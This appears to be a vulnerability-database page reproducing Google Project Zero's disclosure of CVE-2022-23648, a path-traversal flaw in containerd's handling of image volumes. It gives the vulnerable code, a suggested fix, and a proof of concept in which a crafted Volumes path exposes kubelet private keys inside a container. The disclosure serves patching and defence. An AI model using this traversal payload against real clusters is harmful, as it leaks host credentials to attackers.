Lucene search
K

containerd Image Volume Insecure Handling

🗓️ 24 Mar 2022 00:00:00Reported by Google Security Research, Felix WilhelmType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 392 Views

Containerd image volume insecure handling. Insecure path traversal allows arbitrary host directories to be copied to container-mounted path

Related
Code
ReporterTitlePublishedViews
Family
0day.today
containerd Image Volume Insecure Handling Exploit
24 Mar 202200:00
zdt
IBM Security Bulletins
Security Bulletin: Multiple Security Vulnerabilities may affect IBM Robotic Process Automation for Cloud Pak
25 Aug 202202:03
ibm
IBM Security Bulletins
Security Bulletin: IBM Cloud Kubernetes Service is affected by a containerd security vulnerability (CVE-2022-23648)
18 Mar 202218:48
ibm
IBM Security Bulletins
Security Bulletin: IBM Cloud Transformation Advisor is vulnerable to multiple vulnerabilities found in Java, Node.js and IBM WebSphere Application Server Liberty
13 Mar 202503:39
ibm
IBM Security Bulletins
Security Bulletin: Multiple vulnerabilities that affects IBM Db2 Data Management Console (CVE-2022-23648, CVE-2022-32149)
3 Jul 202509:32
ibm
IBM Security Bulletins
Security Bulletin: Multiple vulnerabilities affect IBM Db2® on Cloud Pak for Data, and Db2 Warehouse® on Cloud Pak for Data
19 Apr 202420:11
ibm
IBM Security Bulletins
Security Bulletin: QRadar Suite Software includes components with multiple known vulnerabilities
1 Mar 202419:27
ibm
IBM Security Bulletins
Security Bulletin: Multiple Vulnerabilities in IBM Concert Software.
18 Aug 202504:31
ibm
IBM Security Bulletins
Security Bulletin: IBM Edge Application Manager 4.5 addresses multiple security vulnerabilities
31 May 202305:42
ibm
IBM Security Bulletins
Security Bulletin: IBM MQ Operator and Queue manager container images are vulnerable to multiple vulnerabilities from containerd, gnupg2, runc and IBM WebSphere Application Server Liberty
20 Oct 202212:19
ibm
Rows per page
`containerd: Insecure handling of image volumes  
  
containerd's cri plugin handles image volumes containing path traversals insecurely. This can be used to copy arbitrary host directories to a container-mounted path.  
  
OCI images contain a JSON config file described in https://github.com/opencontainers/image-spec/blob/main/config.md. As part of this config,  
an image can specify \u"Volumes\u" which describe \u2018where the process is likely to write data specific to a container instance' when the image is used to run a container.  
  
When this configuration is converted into an OCI runtime config, containerd tries to follow the spec at https://github.com/opencontainers/image-spec/blob/main/conversion.md:  
  
\u"Implementations SHOULD provide mounts for these locations such that application data is not written to the container's root filesystem. If a converter implements conversion for this field using mountpoints, it SHOULD set the destination of the mountpoint to the value specified in Config.Volumes. An implementation MAY seed the contents of the mount with data in the image at the same location\u"   
  
The seeding is implemented in (*criService).CreateContainer (cri/server/container_create.go)  
  
var volumeMounts []*runtime.Mount  
if !c.config.IgnoreImageDefinedVolumes {  
// Create container image volumes mounts.  
volumeMounts = c.volumeMounts(containerRootDir, config.GetMounts(),   
&image.ImageSpec.Config)  
} else if len(image.ImageSpec.Config.Volumes) != 0 {  
....  
}  
  
  
func (c *criService) volumeMounts(..) ..   
var mounts []*runtime.Mount  
\u2026  
for dst := range config.Volumes {  
\u2026  
volumeID := util.GenerateID()  
src := filepath.Join(containerRootDir, \"volumes\", volumeID)  
mounts = append(mounts, &runtime.Mount{  
ContainerPath: dst,  
HostPath: src,  
SelinuxRelabel: true,  
})  
}  
return mounts  
}  
  
  
Image volume mounts are only supported if IgnoreImageDefinedVolumes is false. While the description mentions that this flag is \u"Useful for better resource isolation, security\u2026\u" the default is false and none of the major containerd users seems to overwrite this.   
  
So in the default config, c.VolumeMounts will be called to create new runtime.Mount entries for all Volumes listed in the image config. There is no validation of the listed paths and the .ContainerPath attribute is completely image/attacker controlled.  
  
Later in the execution, the harmless HostPaths and the attacker controlled ContainerPaths are passed to the customopts.WithVolumes method. While the HostPath is cleaned, ContainerPath is passed through without changes:  
if len(volumeMounts) > 0 {  
mountMap := make(map[string]string)  
for _, v := range volumeMounts {  
mountMap[filepath.Clean(v.HostPath)] = v.ContainerPath  
}  
opts = append(opts, customopts.WithVolumes(mountMap))  
}  
  
  
The WithVolumes function (pkg/cri/opts/container.go) now tries to copy all files that are under ContainerPath in the container rootfs to the temporary directory at HostPath that will be later mounted into the Container at the same location (This is the optional \u"seeding\u" step described in the spec):  
for host, volume := range volumeMounts {  
// The volume may have been defined with a C: prefix, which we can't use here.  
volume = strings.TrimPrefix(volume, \"C:\")  
for _, mountPath := range mountPaths {  
src := filepath.Join(mountPath, volume)  
if _, err := os.Stat(src); err != nil {  
if os.IsNotExist(err) {  
// Skip copying directory if it does not exist.  
continue  
}  
  
\u2026  
}  
  
if err := copyExistingContents(src, host); err != nil {  
\u2026 }  
  
volume is the fully attacker controlled ContainerPath, mountPath a host directory pointing to a part of the containers rootfs. By setting volume to a path like \u"/../../../../../../../../../etc\u", src will become \u"/etc\u" and the copyExistingContents function in the last line will recursively copy the /etc/directory to host. As the directory specified by host will later be mounted into the container, this gives the container full read access to arbitrary files and directories.  
Suggested Fix:  
mountMap[filepath.Clean(v.HostPath)] = filepath.Clean(v.ContainerPath)  
should be sufficient to fix the issue. (But it might be reasonable to surface/log misbehaving images?)  
  
Proof-of-Concept:  
fwilhelm ~ % buildah inspect volumes-test | jq '.OCIv1.config.Volumes'  
{  
\"/../../../../../../../../var/lib/kubelet/pki/\": {}  
}  
fwilhelm ~ % kubectl run shell --rm -i --tty --image europe-west3-docker.pkg.dev/[redacted]/test/volumes-test -- /bin/sh   
/ # mount | grep /var/lib/kubelet  
/dev/root on /var/lib/kubelet/pki type ext4 (rw,relatime)  
/ # ls -la /var/lib/kubelet/pki/  
total 20  
drwxrwxrwt 2 root root 4096 Nov 12 15:54 .  
drwxr-xr-x 3 root root 4096 Nov 12 15:54 ..  
-rw-r--r-- 1 root root 1135 Nov 4 08:59 kubelet-client.crt  
-rw------- 1 root root 227 Nov 4 08:59 kubelet-client.key  
-rw------- 1 root root 0 Nov 4 08:59 kubelet-client.lock  
-rw------- 1 root root 1496 Nov 4 08:59 kubelet-server-2021-11-04-08-59-06.pem  
lrwxrwxrwx 1 root root 59 Nov 4 08:59 kubelet-server-current.pem -> /var/lib/kubelet/pki/kubelet-server-2021-11-04-08-59-06.pem  
  
Let me know if you need access to the POC image, I did not want to spam the full list with it.   
  
This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2022-02-21. For more details, see the Project Zero vulnerability disclosure policy: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html  
  
Related CVE Numbers: CVE-2022-23648.  
  
  
  
Found by: [email protected]  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Mar 2022 00:00Current
7.8High risk
Vulners AI Score7.8
CVSS 25
CVSS 3.17.5
EPSS0.06046
392